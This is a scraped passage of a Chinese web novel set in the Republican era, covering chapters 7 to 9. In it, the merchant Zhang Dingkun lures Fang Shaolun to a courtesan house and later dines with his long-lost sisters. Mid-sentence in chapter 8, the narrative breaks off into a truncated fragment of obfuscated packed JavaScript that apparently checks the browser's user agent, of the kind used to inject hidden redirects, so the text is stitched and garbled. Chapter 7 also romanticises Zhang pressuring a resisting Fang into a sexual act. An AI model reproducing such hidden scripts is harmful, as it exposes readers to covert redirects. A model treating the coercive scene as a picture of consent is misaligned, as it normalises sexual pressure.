《民国之引狼入室》 7. 第 7 章 张定坤也算言而有信,接下来几天都没有出现在月湖的府邸。 他如今在西南地界也算一方人物,早不是天天跟在方学群身侧的时候了。他不主动过来,一般人也找不着他。 方颖珊的脸色一天比一天差,显然张定坤这几日的表现不符合他原先一贯殷勤的作派。 她穿着及脚踝的絮棉旗袍,外罩一件狐狸毛的斗篷,气冲冲从别克小汽车上下来。 进门就在挑剔司机无用,载着她转了好几个地方都是扑空。 又戳着小丫头的脑门芯子骂,“……这脑袋是摆设不成?我这鞋上缀的可是珍珠,没看见这串绳都松了吗?掉一颗,卖了你都赔不起!还不赶紧去给我撺紧了,仔细你的皮……” 方绍伦知道她是迁怒,放下手中报纸,从客厅沙发上起身,故作不知的打断她,“大姐,谁惹你不高兴了?” 他扬扬下巴,小丫头眼泪汪汪的捧着她那双米白皮面缀粉珍珠的高跟鞋进去了。 方颖珊睨他一眼,待要径直上楼,突然又想起来什么似的,退下来几步,“绍伦,你这几日看见……定坤没有?” 方绍伦摇头,“没有。” 这几日天气不好,阴风一阵阵的,他呆在家里,陪方学群说说话,又给几位朋友写了信,告知回国的事情,没有出过门。 方颖珊走过来,低声道,“你打个电话问问闵礼,看他知不知道定坤这几日去哪了?让他明晚来家里吃个饭。” 方绍伦不明白父亲为什么还没有摊开来跟大姐说这件事情,只能含糊应道,“行,你没给他府里打电话吗?” “打了,找不着他人。”方颖珊尽是火气,“门房总说等三爷空闲回电话,就没见回过来。”她又高声问门房,“今天有没有电话找我?” 门房颤巍巍的回话,“只有黄小姐打了电话说约您喝下午茶……” 方颖珊沉着脸上楼去了,晚饭也没有下来吃。 饭后,方学群把方绍伦叫到书房,“你跟张三谈过这事了?” 方绍伦点头,算是谈过吧,“他同意取消婚事。” “就知道他不会这么轻易把进货渠道交出来,”方学群一脸不出所料的神情,“也算他知趣。” 方学群显然对张定坤近来远着方颖珊的表现很满意,稍加提点就知道退让,这几年纵然狂了些,还算知道分寸。 “但你大姐这边,还得让她慢慢揭过这事,我再给她物色一个合适的。” 方绍伦叹气,“光合适恐怕还不行,还得大姐自己中意。” “你们这年纪懂什么?!婚姻向来是父母之命,媒妁之言,门当户对才要紧。”方学群娶妻周氏,对方家如今问鼎西南是大有助益的。 “眼看年关又要收账,几笔大进项只能张三去,让他离开一阵子也好,不在眼前晃悠,你姐的心思自然就淡了……”方学群沉吟着。 “既然是大进项,干嘛非得让张三去拣便宜?派闵礼或者烁章他们不更好?” 年关收账是商家极重要的事项,利润核算便有油水,钱收回来也有大笔分成。 方学群摇头叹气,“是最西边的土司部落,提着脑袋的事,非张三去不可。” 西南最西边的土司部落,是个超出政|权的存在,不受任何政|府的管辖,纸币完全不流通,以金银易货。 首领权威极大,七里八里的规矩又很多,有一年一个伙计便断了一只手回来,齐肘砍断,据说是碰了不该碰的东西。 但土司部落于各项商品的需求又极大,能搭得上线的商家基本都舍不得这一注大财。 方绍伦无话可说,张三这厮能坐大到如今地步,确实有过人之处。 两父子正聊着,门上传来几声轻响,丁佩瑜用托盘端着琉璃盏走了进来。 方学群摆摆手,“叫你不用劳动,让丫鬟们来就好。” 方绍伦起身接过托盘,将参茶放到方学群桌前,又端起另一盏羊乳抿了一口。 丁佩瑜眉眼含笑的看着他,“绍伦,还没有谢你,你差人送来的金铃铛十分别致,镌刻着梵文,是寺院里请的吗?我很喜欢。” 方绍伦点头,“京都清叶寺请的,给弟弟或妹妹缚足,七姨娘八姨娘那都有,不用客气。” 他突然想起,丁佩瑜比方颖珊大不了多少,他爹还真是个老不修。便起身道,“不早了,我先回房间了。” 他刚踏入庭院,身后便传来一声轻唤,“绍伦。” 他转头,丁佩瑜扶着后腰缓步走来,“绍伦,一直没机会向你致歉……” 他走得匆忙,她又赶着备嫁,确实也没时间没机会多说什么。 “不必,姨娘得偿所愿,自在舒坦就好。”方绍伦转身,丁佩瑜却又唤了一声“绍伦”,她垂下头去,“你可是还在怨怪我?” “绝没有,姨娘你想多了。”方绍伦拔腿就走。 方绍伦对丁佩瑜确无怪责之意。“四朵金花”中,以丁佩瑜家世最末,爹娘早逝,婚事全凭哥嫂做主,据说她哥抽大|烟早败光了家业。 方绍伦当时觉得丢面子,如今通晓了世情,倒也理解她的难处,只是多少觉得这人心眼子有点多,再不愿与之来往。 第二日是个阴雨天,一早门房便送来一封信件,展开来又是熟悉的字体: “绍伦亲启,前日所应之事,恐有反复之虞,盼君今日下午两点钟于长柳书寓一唔,便宜商讨,殷盼切切。” 落款都没有,但一看字迹与内容,方绍伦蔫能不知是谁? 他叹着气,就知道这厮没这么好打发。 还恐有反复之虞,他要真不想娶,谁还能拿刀架他脖子上不成?莫不是觉得答应得太容易了?还是大姐又派人找他去了? 方绍伦思索半日,欲待不理又恐这人犯混,去吧又恐是羊入虎口,他颇有些纠结。 到了午后,雨仍不停歇,反而有越下越大之势,客厅一角竖着的英式大笨钟敲了三下,方绍伦到底还是起身换了衣服,让司机送他去长柳书寓。 张三若还等在那,便跟他商讨一二。若是走了,便是天意安排。 长柳书寓位于月城城西,一处开阔又清净的地界,方绍伦听侍从嚼舌根,说迎来送往十分热闹,但今日显然是个例外,屋里屋外静悄悄的。 方绍伦下了车,门房撑着宽骨伞迎上来,恭敬的将他送过庭院,看他走进无雨的廊下才折返身。 入了厅堂门,长柳先生迎了上来。 她今日是女装打扮,穿一袭墨绿色滚边旗袍,裹着羊绒披帛,一头卷发半扎起,前头簪着两支金钗,后半边散披着,风情十足。 她带着几个小丫头上前给方绍伦见礼,“贵客总算来了,可叫柳宁好等。” 看样子长柳先生的闺名唤“柳宁”,她含嗔带怨的睨他一眼,又送上一盏英式红茶,“外头雨大,快饮盏热茶驱驱寒气。” 方绍伦见是茶倒松了口气,接过去饮了半盏。 他是生怕长柳先生给他端酒,上回饭局可瞧得清清楚楚,这位先生的酒量深不可测,绝对在他之上。 长柳先生与他闲话了几句,便推他上楼,“三爷说与您有要事相商,柳宁不便打搅,置办一席酒菜,等二位商讨完大事,再一块好好喝上两杯。咱们这不光有擅琵琶的,还有会唱曲儿的,回头请大公子赏聆。” 方绍伦只能一边虚应着,一边上了楼。 木质的扶梯“吱嘎”作响,转过拐角,踏上一寸来厚的波斯地毯,倒是寂静无声。 上得二楼先是馨香扑鼻,再看摆设,中西结合,金碧辉煌,铺排得十分阔气。 堂中设有一小厅,四周是天鹅绒的西洋高背沙发,中置琉璃茶几,几上糕饼果脯一应齐备,却不见半个人影。 “张三?”方绍伦喊了一声。 “进来。”厅堂右侧垂着一副水晶珠帘,张定坤懒洋洋的声音从帘后传来。 “你倒会摆谱,”方绍伦皱眉道,“你出来就是了,这果脯看着甚好,我且尝尝。” 他在沙发上坐下,捏起一枚杏脯来吃,决心不管他言语如何相激也不到房中去。 君子不欺于暗室,张三就是个小人。 房中陷入沉寂,没了声响。 方绍伦老神在在的坐了半点钟,果脯尝了个遍,又自己动手筛了碗茶喝,也不见内室有人出来。 他瞅瞅屋外天色,又掏出怀表看了看时辰,到底有些着急,他是早打算好,绝不留下来饮酒吃饭的,但再拖下去只怕就得赶上饭点了。 踌躇片刻,到底还是起身,掀起那一弯澄澈透亮的水晶帘子,走进房中。 他今日装束齐整,张三要是敢用强,倒可以跟他好好较量一番。 但他显然有些低估了对手的实力和脸皮的厚度,方一踏入便是一阵天旋地转,一个身影扑上来,抱着他就是一个翻滚,甩到了床上。 方绍伦反应迅速的蹬腿,一个翻身闪到了床侧,跟张定坤各据一角。 暮色里,张定坤那双狭长眼眸闪着幽暗的光芒,真跟狼似的。 “张三,你又发什么疯?”方绍伦只能先发制人,“什么叫恐有反复?你先说清楚这个!” “我答应你的事什么时候变过卦?不这么说你能出来?!” 楼里烧了热水汀,颇为暖和,张定坤穿着家常的袍衫,手里却拿了把泥金折扇,在掌心敲了敲,“老子又要去给你们方家卖命,想让大公子陪我聊聊天喝杯酒都不成?” 他一会拿他跟窑姐比,一会把他当陪酒的,方绍伦简直肺都要气炸,抓起床头的枕头就向他砸过去。 只可惜这冬日里的棉花枕头无甚用处,要是夏天用的瓷枕玉石枕定要给他点颜色看看。 果然,枕头砸过去反倒被张定坤一把接住,趁着这障眼的一两秒钟,方绍伦飞身扑过去,挥手就是一拳。 张定坤伸胳膊架住,“我的大少爷,怎么二话不说就开打?我又怎么得罪你了?” “你得罪我的事多了去了!”方绍伦连着两次都吃了亏,窝了一肚子火,誓要跟他好好较量一番,使出在士官学校学的擒拿格斗术,化拳为掌,冲着张三一顿招呼。 张三也招架得毫不含糊,方大少爷这个架势,要是让那拳或掌落到身上,不折了也得肿了。 他左支右绌,颇费了点功夫,才攥住了两只手腕子,“绍伦,你听我说,听我说,”他假装十分费力,喘着气道,“我这不马上要走吗?又是去那种地方,还不知道有没有命回来,有件事想跟你交待。” 方绍伦一甩手,到底推了他一肘子,才甩着袖子道,“有屁快放!” “来来来,”张定坤顺势挽着他肩膀在床边坐下,声音压得低低的,跟要说什么机密似的,方绍伦一时也没想到要去外边客厅坐下说。 “绍伦,你说你爹这事办得, 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“你找死是不是?!”他又来黏糊他,方绍伦一拳往他头上砸,多亏张定坤反应迅速,上半身往后一折才躲过,顺势拉着他胳膊往床上拖,“你这狠心的冤家!” 两人拉拉扯扯,近身肉搏,相互角力。 方绍伦留洋三年,体能锻炼得相当不错,而张定坤多少带了点戏耍的意思,并没有尽全力,一时间相持不下,围着这张老式的厢式床,你闪我躲的闹腾了大半天。 恍惚里,跟七八岁的时候,他陪他玩捉迷藏似的。 方颖珊和方绍玮是嫡亲姐弟,两人总有意无意的孤立他,偶尔绍玮跟他一块玩,大姐看到还会把他叫回去。 只有张三,白天黑夜的陪着他。 方绍伦指东他不敢往西,走累了让他背,他就蹲下身去。捉迷藏只许找不许藏,夏天的萤火虫他能给他抓满一口袋。 方绍伦想起这些往事,不免也有些嗟叹,张三往日对他着实算好,如今怎么越来越混蛋了? 他一时晃神,被张定坤扑倒在床上,心中暗恨,双腿一夹,翻身把张定坤压在了身下。 张定坤张开双臂,双手主动往头顶一束,“来,任君宰割。” “呸!”方绍伦皱眉骂道,“要点脸吧张三!” 他撑起身体,张定坤看他起身立马不干,双臂搂着他肩膀又是一个翻滚把他压下去,两人暗自较劲,手脚都没闲着,终于“啪”一声巨响,双双从床上滚到了地上。 这种厢式床离地颇高,侧着滚下去的,谁也没赚到便宜,方绍伦只觉得右肩一阵剧痛,不由得“嘶”了一声。 张定坤忙扶起他,“伤哪了?”窗外雨声潺潺,暮色从窗棂间递进,他的眉梢眼角俱是关切,一如从前,一如多年前。 方绍伦叹口气,也有点弄不明白,原本的护身忠犬怎么就变得如狼似虎了?到底是哪根筋搭错了? “你先让我起来。”方绍伦松开钳制。 张定坤把他扶起来,又绕到身后查看他肩膀,一只手托着他左臂展开,一只手从胸前绕过去触摸他的肩窝,松了口气,“没脱臼,估摸着是扭了一下岔了气,我给你抻抻筋就好。” 他装模做样的拿着他左边胳膊外旋内展,实际上把人紧紧圈在怀里,贪婪的嗅着从他身上传递出来的熟悉气息。 方绍伦开始还没觉得不对劲,直到……,他蓦地睁大眼睛,“有病吧张三!”他口齿不清的低吼,“你你……这样也能?!” 他想要转身挣开束缚,却被张定坤牢牢的扣在怀里,“绍伦,绍伦,”他灼热的气息喷洒在他一侧的脖颈上,立马换了声调,软语相求,“你帮帮我,算我求你,你别回头……” “帮、帮你什么?!”方绍伦语无伦次。 张三从没求过他,他如果办错了事,方绍伦拿小鞭子抽他,他就让他抽,一声不吭。 如果是方绍伦无理取闹,小鞭子甩上来,就会被他一把攥住,丢得远远的。 从小到大,他就没有求过饶。 此刻,他滚烫的唇黏在他的耳旁,低声的恳求,“绍伦,我求你,求求你,帮帮我,一次就好,真的……” 张定坤左手沿着他方绍伦的胳膊一直游到他的手掌间,五指插入指缝,紧紧的扣住。 他爱极了他那双指节修长、骨肉匀停、格外白皙柔嫩的双手。他看过很多男子女子的手,没有哪一双有方绍伦的长得漂亮。 当那双手滑过黑白分明的钢琴键,乐曲就好像弹奏在他心上一般。 当那双手握着钢索制的马鞭,就算让他抽上两鞭子他也心甘情愿。 而当那双手极偶尔的拂过他的额头,“张三,你是不是发烧了脸怎地这般红?”他就觉得生病也不全然是件坏事情。 “你干什么?!放开我!”方绍伦只觉得后背黏上来一面鼓,“咚咚”响个不停,带得他的心跳都乱了节奏。 他极力的挣扎,但眼下这姿势明显处于下风,被张定坤用右手箍紧胸腔锁在怀里,动弹不得。 张定坤不断在他耳畔低声祈求,“绍伦,求你了,你帮帮我,用这个就好……” 他带着他的左手掌向后,“我这次去的那部落最爱吃人肉,搞不好就让他们吃了……” “绍伦……我的大公子……你行行好,帮帮我……让我尝一次……死了也感你恩德……” 他一味的低声恳求,动作却毫不含糊,软硬兼施着终于把口口塞到他修长的手指间,立刻便鼓鼓的跳动起来…… 8. 第 8 章 “三哥、三哥……酒菜都备好咧。”长柳先生站在楼梯口用东鲁方言吆喝了几声。 又等了好一阵子,张定坤才懒洋洋从二楼走下来,他换了一身棉袍,趿着一双黑面厚底的棉鞋,跟在家里般随意。 “合脚不?”她看着那双鞋子穿在他脚上,脸上漾出极为满足的笑意。 张定坤点头,“柳宁,你跟玉娘学的这做鞋的手艺倒没扔下,正正好。”他偶尔私底下会跟张柳宁说东鲁话。 流民张三实际上并不来自冀南,而来自东鲁。 “做鞋太费手,往后不要花这个功夫了。” “不费事的,三哥。”张柳宁虽然仍是那身精致的打扮,脸上的神情却与饭局上绝不相同,是极纯粹明媚的笑容,“能再给三哥做双鞋,你不知道我心里有多欢喜。” 张定坤跟她相视一笑,彼此神情里都带上了欣慰,在如今这年月,失散十多年的亲人能重聚,机率不啻于中彩票。 “灵波怎么还没来?挂个电话到周公馆,太晚就别过来了。”张定坤走到窗前看看天色,城东到城西距离不短,又不便派车去接。 正说着,门口传来黄包车的动静,少顷,门房撑着伞送了位二十出头的小姐进了厅堂。 之后便是大门“吱呀”关闭的声音,门口挂着的红灯笼也取下来,代表书寓今日歇业了。 进来的这位女子身量颇高,穿西服,披着驼色的大衣,一张鹅蛋脸庞,顾盼修眉,是极英气的长相。但当她柳眉弯弯,唇角上扬,露出一排贝齿,粲然一笑,又极具妩媚风情。 “三哥、五姐,我来迟了。今日周府宴客,又是作诗又是看戏,好容易才脱身。”她拍了拍身上的水汽,小丫头上前伺候着她脱了大衣,她煞有架势的给张定坤和张柳宁行了个蹲礼。 她穿着洋派,却作旧时礼节。张定坤笑了笑,“小丫头片子。” 离家时,张灵波才五岁,长得水灵灵的,年画娃娃似的,扎两个小楸楸,穿着红绫小袄,在奶妈的服侍下,穿过庭院,走到厅堂里,也是这样煞有架势的蹲下身去,“给哥哥姐姐们请安。” “来时可仔细看过了?”张柳宁打发小丫头们下去,扶着她到圆桌前坐下。 她点点头,“放心吧五姐,要不是多绕这几圈,我也不能这么迟。” “那就好,”张柳宁执一双长筷将藤盘上的肉片都扫入铜锅中,“其实倒也不怕别的,让别人知晓你有个当书寓先生的姐姐终归是不好。” 灵波却笑着摇头,“等明年秋,我入府给人当姨娘,又比书寓先生高贵到哪里去了?” 张定坤一声咳嗽,“二位妹妹的话,倒叫我这个当哥哥的汗颜了。” 柳宁、灵波相视一笑,柳宁执壶给他倒了杯酒,觑着他的面色,眉眼含笑,“三哥,你今日做什么把方大公子惹恼了?好大气性的走了,我喊他都没搭理我,拿手蒙着脸,一阵风似的刮门外头去了……” 张定坤幽深的凤目睨她一眼,不答话,嘴角却泛起点笑意来。 柳宁其实早猜到点眉目,虽说二楼铺了厚地毯,但二人动静不小,先头“乒乒乓乓”打架似的,她便挥手让小丫头们都下去,自个脱了高跟鞋,蹑手蹑脚走到楼梯间底下去听…… 灵波也不是不懂人事的小姑娘,看她姐一脸揶揄的笑意,好奇问道,“大公子我倒没见过,比之方绍玮如何?” “他才从东瀛回来你自然没见过。”柳宁抢着答话,“人才不肖说自然是极好的,不然三哥能这么牵肠挂肚、念念不忘的?” 灵波点头,“听说方老爷年轻时便是西南有名的美男子,绍玮一张皮相就不差,想必大少爷更甚一筹。” 张柳宁在月城立了这书寓,来往的青年才俊见了个齐全,感慨道,“何止一筹,盛名之下其实难副的美男子我见过不知凡几,大少爷是唯一一个名不如人的,”她叹息一句,“配倒是配得上我们三哥,就是……” 她夹了一筷子烫好的肉片放到张定坤碗中,“三哥,我看大公子是个铮铮男儿的样子,跟我在沪城书寓里见的那些好男风的颇不相同……” 她说得委婉,实际是说方绍伦可能并不好此道。 两人在楼上打得乒乒乓乓,虽说后头歇了声响,可这事……人家要是不情愿,倒不好强求。 “他家世显赫,又是三哥的救命恩人,”柳宁转向灵波,皱眉问道,“幺妹,好男风这事到底有药可解没有?”她拿手帕子捂了捂眼睛,“咱们张家可只剩下三哥这一根独苗了。” 灵波摇头,“这事又不是病,三哥说他……嘻嘻,不喜女子碰触,那大概是天生的了。” 她在一旁听二人言语,便知张定坤和方绍伦这事有些不谐,眼珠子一转,“要让三哥改弦易辙我看难,要让方大公子俯首帖耳倒还容易些。上次三哥从土司部落里弄出来的几张方子,上头就有些名堂。”她嘬着手中的酒杯,吃吃的笑。 灵波虽然年纪不算小,但她醉心医学,总有些古灵精怪,想一出是一出。 张定坤不理会她,转头向柳宁叹道,“你怎么还是看不开?传宗接代,家族延续固然要紧,咱们几千年的文化也是传承而来。” “可并不是非得我才行,你和灵波哪一个都比我强,你们有了子嗣也都是张家的血脉。姓不姓张倒不要紧,能把家传的那点东西传下去就行。” 他抬手给两个妹妹杯中倒上酒,“我看灵波就很好,祖传的方子我已经给了她,是看她成天捣鼓这些,指不定哪天就制出来了。柳宁你也可以抄一份,但凡张家的东西就是我们三个人的。” 张定坤举起酒杯,灵波也倾杯过来,柳宁却不端杯,仍是掩着帕子,哀声道,“咱们张家原先在东鲁是多么显赫……可不比如今的方家差半分。” 她只比张定坤小一岁,家破人亡时记忆已经很牢固,“东鲁药王张”那闪着金光的招牌,是时常出现在她睡梦中的景象。 “我还记得我和玉娘上秀坊,三哥你骑着马挥着鞭子,疾风似的从街市上闪过,摆摊的商贩们指着你的背影说‘那是东鲁的小霸王’,等我跟玉娘回到家,爹已经罚你跪祠堂,说不准在街市上纵马。你还在那里梗着脖子嚷嚷,说并没碰倒人家的摊子……”她语声哽咽,眼角珠光闪闪。 灵波放下酒杯,拿过干净的帕子替她拭泪,张定坤拍拍她肩膀,传递着安抚的意味,“柳宁,历史上朝代更迭,有多少比我们张家更为显赫的世家湮灭于战火中,没有千年的富贵,真正要传承的是家族的技艺、制药的本心。” “而这一点着实没法指着我,我于制药一道天赋有限,打小就爱舞刀弄枪,兄妹几个你们都把《本草经》、《千金药方》背熟了,我还分不清白附片和白附子的区别……” 灵波“噗嗤”一声笑出来,柳宁也忍不住收了哀戚,弯了眉眼,转头摸了摸灵波乌黑的鬓发,柔声道,“咱家于此道有天赋的,只有灵波。” “三哥五姐你们就看我的好了,我迟早能把我们张家的龙虎膏调制出来,等我将来生几个孩子,谁能把制药的手艺学全了就让他姓张。”灵波笑嘻嘻的。 柳宁戳着她的额头,“还几个孩子!也不知羞。” 张定坤从铜锅里捞起肉片来吃,又饮了一口杯中酒, “嗯,这酒不错,有我们东鲁‘景阳春’那味。” 他离开东鲁时已经十二岁,正是跟大人们上桌喝酒的年纪,第一回喝的景阳春让他记了十几年。 “这是我从沪城进的一批酒,是北地老字号,客人们尝了都说好。”柳君也执杯,三人碰了一下,都一口干了。 东鲁的儿女就没有不善饮酒的。 三人边吃边聊,屋外寒风阵阵,屋内却是暖意融融,菜香夹杂着酒香,馥郁萦绕。 “三哥,你这次真要趁机北上?” 张定坤点头,“我先往西边收账,然后再绕道北上。年底公务应酬繁忙,机会比平时多。” 柳宁蹙眉道,“你可千万小心,若时机不适就算了,张丙吉那狗贼迟早要遭报应,搭上点损伤不值当。” “这事你们别管,家学传承靠你俩,报仇雪恨是男人的事。”张定坤点头,“不用忧心,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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酒菜过半,张定坤薄有几分醉意,拿筷子敲打着碗沿,“拿琵琶来!”他自己有一把紫檀木的象牙琵琶,放在了城东宅邸。 柳宁扬声喊如眉将琵琶送来,张定坤接过她那把酸枝木的玉首琵琶抱在怀里,如眉站一边不肯走,几个小丫头也从灶房探出头来。 张定坤的生母是北地的琵琶国手,他于此道家学渊源,且极有天赋,他母亲那把绿檀木琵琶早说过要传给他,只可惜家破之时哪里还顾得上那些。 虽然逃难这几年生了手,等后头有能耐置办了自己的宅邸,便访了一把极好的紫檀木琵琶,时常弹奏,以慰思乡思亲之苦。 他竖琴在膝上,右手五指一抡,是极清脆的轮指,有如大珠小珠落玉盘。 一曲《十面埋伏》徐徐展开,看上去粗粝的手指却在琴弦上灵活而快速的跳跃,织网一般由浅及深。 乐声逐渐加快,有如战鼓敲击,令闻者心跳骤然开始加速。至最高潮,弦声激昂,仿佛千军万马在战场上奔腾,金戈铁马,气势磅礴。 围观的一群人彷佛被带入了古老的战场,似亲眼目睹英勇的战士们在十面埋伏中奋力厮杀……直到激烈的高潮后渐渐平息,乐声又逐渐变得柔和而悠长,如同战后的宁静。 这首曲子如眉也会弹奏,但她傻站一旁,弦声停止也一动不动。 她见过张定坤多次,却是第一次听他弹琵琶。虽说张三爷颇有权势,又与东家亲厚,但开始要用她琵琶,她是颇不情愿的,她年纪虽不大,却是个琴痴。 男子会弹琵琶的并不少见,她的师傅便是沪城有名的琵琶演奏家苏少彬,平时也弹武曲较多,这首《十面埋伏》更是拿手之作,但如眉私以为这一曲张三爷更甚一筹。 她忍不住拍掌,“比我师傅还弹得好!” 柳宁和灵波面上都是笑盈盈的模样,眼底却有晶莹闪烁,二人执起杯,共敬张定坤,“三哥,一定要平安归来。” “好!”三人碰杯将杯中酒饮尽,无需言语,彼此心中都懂得那杯中情意。 9. 第 9 章 方绍伦回到月湖的府邸已是掌灯时分。方家除了节庆或是生辰,日常并不聚在一起吃饭,三个小厨房轮番给各房供应膳食。 他急匆匆走到堂前,开阔的客厅里亮着电灯,留声机里播放着西洋乐曲,方颖琳带着阿良和方学群的几个护卫,正在学跳交谊舞。 交谊舞的风潮渐渐从沪城刮到了月城。 看到方绍伦进来,方颖琳高兴的跑上来拉他手,“大哥你可算回来了,快来教我跳舞罢,他们都说你跳得最好。” 她碰触到方绍伦的指尖,却被闪电般甩脱了手。 方绍伦一脸尴尬,连忙找补,“呃,我刚逛公园来着,淋了点雨,先上去洗个澡。阿良,帮我拎两桶热水上来。” 他三两步踏上楼梯,又扬声叫孙妈妈,“姆妈,帮我下碗鸡丝汤面。” 他一进房间,先跑到浴室洗手,香胰子打了两遍,清水冲干净,再凑到鼻尖闻一闻,那股子腥膻之气仿若挥之不去,亏得张三还一根根手指嘬弄了个遍……他忍不住盖住眉眼,不敢看镜中人的脸色。 阿良“咚咚”的敲门,他和一个护卫一人拎了两桶热水上来,倒到浴桶里,再打开冷水管,调和匀了,龇着牙催促他,“大少爷您可快着点吧,四小姐还等您教跳舞哩。” 方绍伦把他赶出去,颓然的往床上一趴,忍不住伸手捶了两下枕头。 他今天真是昏了头了,怎么就中了张三的蛊呢?竟然真帮他…… 而且在他得寸进尺将手伸过来的时候,他居然也没有拒绝…… 大概是天色太过昏暗,屋外雨声又太过缠绵,纱帐掩映的厢房里栀子茉莉的香气格外熏人,他们躲在寂静无人的角落里相互把玩着某个神奇的物件…… 方绍伦的脑海里闪过一些童年时期的画面,也是这样相似的场景,好像是某个微雨的午后,他俩在田野里疯玩,挤蹭在垛起来的秸秆堆中,他掏出来给张三看,“为什么我的比你的小?” 张三笑嘻嘻的,“给我摸摸吧,摸着摸着就变大了……” 方绍伦恨不得抽自己两耳光,他叹了口气,起身脱了衣服浸入浴桶中。 好半晌才把脑袋伸出水面,摸一把面颊上的浮水,算了,也不是什么大不了的事! 张三把西行说得那么凶险,倒也不全是唬人,商队这么多年来来回回,多吓人的场面都见过。 还记得有一年张三领队送茶叶去北疆,遇上百年难遇的大雪,马队翻了一半到溜沟子里,马匹连着货物连着马上的人通通掉进了万丈悬崖……商队回来那天,镇子里哭声震天。 行商从古至今都是个高风险的行当,张三惦记着这事不是一天两天了,万一……就当随份子了! 三年前方绍伦决定去东瀛留学,当然不是为了他爹娶了丁师姐或者张三亲了他一嘴,这种狗屁倒灶的事情。至少不完全是。 随着他成人,周家对他的不喜与忌惮从私底下摆到了明面上,他亲耳听到周家的舅父周士昌扯着方学群的胳膊嚷嚷,“姐夫,你可是答应过我姐的,这份家业要交到绍玮手上……让他享个现成的富贵就得了,要让他掌家周家头一个不答应……” 方绍伦嗤之以鼻,别说他从小在姨娘“凡事不要跟绍玮争抢”的耳提面命中长大,单说他自己,也不喜行商。 他那时年少气盛,见国难当头,山河疮痍,觉得但凡血性男儿都该尽一己之力。 把这志向跟方学群一说,就跟捅了马蜂窝似的,上好的钧窑茶具连盏带托砸到他面前,幸亏他闪躲得快,不然就得被滚烫茶水溅一脸。 方学群喘着粗气指着他怒骂,“你当你是猴子精转世呐还能大闹天宫了?!快把你这想头收一收!老子在世一日就轮不着你作主!过来!老子好好教教你!” 父子俩在书房一番鸡飞狗跳,笔墨纸砚、杯茶碗盏全到了地上。 骂完又劝他,“这活命救人的法子多了去了,非得去逞英雄当豪侠?!倒不如老老实实去东瀛留个洋,读个医科博士回来,既光耀门楣又行善积德,岂不便宜?” 方老爷子当年的声势可不是如今病重孱弱之态,盛怒之下,方绍伦哪敢触其逆鳞?只能唯唯应是。 张三又是第一个知道这事的,仍然是清早的练武场。他逆着晨光,衬衫扎在皮带里头,甩着两条大长腿走过来。 这回方绍伦有了提防,箭矢当胸,很有些胆敢造次,就要给他点颜色瞧瞧的派头。 张三却是眼巴巴瞅着他,“不去行不行?那么远。绍伦,”他走近些,软语低声,“你不要去留那劳什子的洋,我错了行不行,让你打两巴掌成吗?”他作势要来拖他的手。 他一贯皮糙肉厚,最不怕的是巴掌拳头。 方绍伦一把甩开,抬起下巴,“我才懒得打……想道歉也成,跪下来求我。”他扔下箭矢,双手抱胸,纨绔子弟的架势摆得很足。 他斜着眼睛看着张三,这牛高马大的狗东西竟然双腿一软……方绍伦吓了一跳,两人是打小一块长大的交情,哪能真让他跪? 他条件反射般,伸出双手去扶——被张三趁势搂了个正着,狗东西眯缝了双眼,笑得得意万分,“想让我跪你?成啊,让我睡一次,不光跪,还给你磕三个头……” 方绍伦“噼啪”两嘴巴,把那些污言秽语扇回了那张狗嘴里。 “擦!你他妈真是打顺手了!”张三很是恼怒的揪他胳膊,方绍伦哪甘示弱?抬脚就踢……清早的练武场再次上演全武行。 不过年龄差、身高差、体型差摆在这里,方绍伦确实不是张三的对手,你来我往的一番招呼,到底被他一把钳住了胳膊。 张定坤盯着他那两只手掌,嗟叹道,“大少爷手长这么好怎么光用来打人呢?倒不如借我用用……”他拖着他的手往那地去,方绍伦瞪大了眼睛,简直不敢相信张三所为。 狗东西还皱着眉头看他,“怎么了?别这么小气……” 方绍伦靠在浴桶边,一阵心慌气闷,三年前都没让他得逞的事,今天怎么就答应了呢,当真是昏了头了……大概是年龄到了?唔,是该正经找门亲事了。 他从浴桶中站起身,擦干水渍,换了身衣服下楼去,孙妈妈看他下来才把手工揉制的面下到锅里。 练舞的几位还在客厅里瞎转悠,方绍伦走到灶房,在乌黑油亮的小方桌前坐下。 少顷,一碗香喷喷的鸡丝汤面端了上来,他是从小吃孙妈妈做的手工面长大的,特别爱这口劲道。 孙妈妈坐一旁看着他狼吞虎咽,“元哥儿慢点吃,又不是从前,有个张三跟你抢……” 方绍伦差点呛到,半晌,咽下那口面,含糊道,“那是,人家现在是张三爷,怎么会少这口面吃?” 孙妈妈笑眯眯的,“他如今是出息了,倒也没忘本哩,时不时到灶房找老婆子讨碗面吃,他跟你一样爱吃这酱菜,也爱坐你坐的这个位置,边吃面边跟老婆子唠嗑起从前……” 人老了,难免就比较多话,孙妈喋喋不休,“张三这孩子倒从小就知道分寸,你爱吃炖的烂乎的牛筋他就全扒拉到你碗里……” 方绍伦一碗面吃得差点心梗,刚放下碗筷,颖琳就来拖他,“大哥你快点,他们都嫌我踩他们脚。” 方绍伦正好消化消化,便携了方颖琳的手走到客厅中央,从进三步退三步开始教她。 教跳舞是很需要耐心的,方颖琳的肢体协调性又只能说是一般,他漆得油亮的黑皮鞋也让她踩了几脚,气得皱起眉头,“怎么这么笨呐?!” 但方颖琳对她这个大哥知之甚深,他骂人不带贬义,骂归骂,教却会认真教,所以她也不恼,只一味说好话,“就是因为我笨,所以才要大哥教嘛。” 方绍伦拿这个每月固定给他写封家书的四妹也没什么办法,只能耐着性子,大半个时辰后,方颖琳已经比之前要自然许多,愈发跳得兴致勃勃。 大门外传来“嘀嘀”两声喇叭响,被乐曲声遮盖了,片刻之后,侍从撑着把大伞,护送着方颖珊走进来。 “大姐。”方绍伦和方颖琳都跟她打招呼,一旁站着的几个护院也毕恭毕敬的行礼,“大小姐。” 她理也不理,踩着一双高跟鞋,径直上楼去了。 “大姐怎么了?”方颖琳吐吐舌头。 方绍伦听到高跟鞋“磕磕磕”往方学群书房的方向去了,大概猜到,便示意侍从关了留声机,“大姐这阵子心情不好,不惹她,今天就学到这吧,下次再教你。” 方颖琳噘着嘴巴点点头,“大哥,你什么时候可以带我去沪城的舞厅跳舞吗?我同学说,美东舞厅可好玩了。”她可怜兮兮的巴着他胳膊,“我好多同学都去过了,就我没去过。” 